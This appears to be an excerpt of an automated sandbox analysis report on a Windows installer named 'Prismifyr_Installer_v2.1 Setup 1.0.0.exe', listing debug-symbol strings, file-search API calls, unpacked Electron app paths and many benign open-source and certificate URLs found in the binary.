Source:	Binary string: pdbpath_cc = pdbpath + ".cc.pdb" source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: "ProgramDatabaseFile": "Flob.pdb", source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\projects\src\out\Default\electron.exe.pdb source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D3DCompiler_47.pdbGCTL source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2395663067.0000000005221000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: pdb_base = "{}.{}.pdb".format(pdb_base, TARGET_TYPE_EXT[target_dict["type"]]) source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\projects\src\out\Default\vk_swiftshader.dll.pdb source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2461234245.0000000000849000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .$ac_ext \| .xcoff \| .tds \| .d \| .pdb \| .xSYM \| .bb \| .bbg \| .map \| .inf \| .dSYM \| .o \| *.obj ) source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: .$ac_ext \| .xcoff \| .tds \| .d \| .pdb \| .xSYM \| .bb \| .bbg \| .map \| .inf \| .dSYM \| .o \| *.obj ) ;; source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ** for all file descriptors with rbu_file.pDb!=0. If the argument has source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: config_name, self.ExpandSpecial, output + ".pdb" source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ** rbu_file.pDb!=0. source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\projects\src\out\Default\vulkan-1.dll.pdb source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2388748403.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392116421.0000000005C20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2388942202.00000000055C0000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Code function: 0_2_004059CC GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_004059CC
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Code function: 0_2_004065FD FindFirstFileW,FindClose,	0_2_004065FD
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File opened: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File opened: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File opened: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop\lib	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File opened: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File opened: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File opened: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop	Jump to behavior

Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52560
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.izs.me/)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue5752
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://certificates.godaddy.com/repository/gd_intermediate.crt0
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://certificates.godaddy.com/repository100.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cldr.unicode.org/index/downloads
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/576694/.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.google.com/p/chromium/issues/detail?id=76293
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://code.google.com/p/closure-compiler/wiki/SourceMaps
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://code.google.com/p/gyp/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://code.google.com/p/gyp/issues/detail?id=111):
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.google.com/p/gyp/issues/detail?id=122
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://code.google.com/p/gyp/wiki/GypLanguageSpecification
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://code.google.com/p/python-gflags/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://code.google.com/p/smhasher/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/122592
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/142362.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/333738.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/35878
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl0
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.godaddy.com/gds1-20
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://developer.android.com/tools/extras/support-library.html
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://developer.apple.com/library/mac/#documentation/DeveloperTools/Reference/XcodeBuildSettingRef/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/commonnode-set..
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://fossil-scm.org).
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://git.linuxtv.org/v4l-utils.git
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://goo.gl/cuFbX
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://goo.gl/dhPnp
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://google.github.io/snappy/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://icl.com/saxon
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://icl.com/saxonorg.apache.xalan.xslt.extensions.RedirectxsltDocumentElem:
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2475862062.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2476010965.0000000002E0F000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2478072599.0000000002E15000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2476074048.0000000002E12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://int3.de/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://istanbul-js.org/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://maxao.free.fr/xcode-plugin-interface/specifications.html
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://n8.io/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270865746.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://n8.io/)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000000.2153082985.000000000040A000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.godaddy.com/0J
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://opensource.perlig.de/rjsmin/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://pages.citebite.com/v2o5n8l2f5reb))
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://public.kitware.com/Bug/view.php?id=8392
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://re-becca.org)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://re-becca.org/)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://s..
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://slproweb.com/products/Win32OpenSSL.html
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://source.android.com/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://source.android.com/compatibility)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://src.chromium.org/viewvc/blink/trunk/Source/devtools/front_end/SourceMap.js
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://stackoverflow.com/a/62888/10333
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://stackoverflow.com/questions/1189781/using-make-dir-or-notdir-on-a-path-with-spaces
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://stackoverflow.com/questions/35817/whats-the-best-way-to-escape-ossystem-calls-in-python
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://stackoverflow.com/questions/37519828
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://substack.net)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tootallnate.net)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://web.archive.org/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://website-archive.mozilla.org/www.mozilla.org/mpl/MPL/NPL/1.1/):
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270865746.0000000006B20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cmake.org/Bug/view.php?id=6493
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cmake.org/pipermail/cmake/2010-July/038461.html
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.ecma-international.org/memento/codeofconduct.htm
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.finesse.demon.co.uk/steven/sqrt.html.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fossil-scm.org/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.gnu.org/software/make/manual/make.html#Syntax-of-Functions
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.gutenberg.org/ebooks/53).
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.icu-project.org/userguide/posix.html#case_mappings
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jclark.com/xt
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.linux-usb.org/usb-ids.html
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/MPL/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/NPL/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_02
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.openradar.me/25313838
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.opensource.apple.com/source/cctools/cctools-809/misc/libtool.c
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.opensource.apple.com/source/distcc/distcc-2503/distcc_dist/include_server/headermap.py?tx
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.opensource.org/licenses/bsd-license.php
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pertinentdetail.org/sqrt
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.ploscompbiol.org/static/license
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.polymer-project.org
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.portaudio.com
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.softsynth.com
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270865746.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html
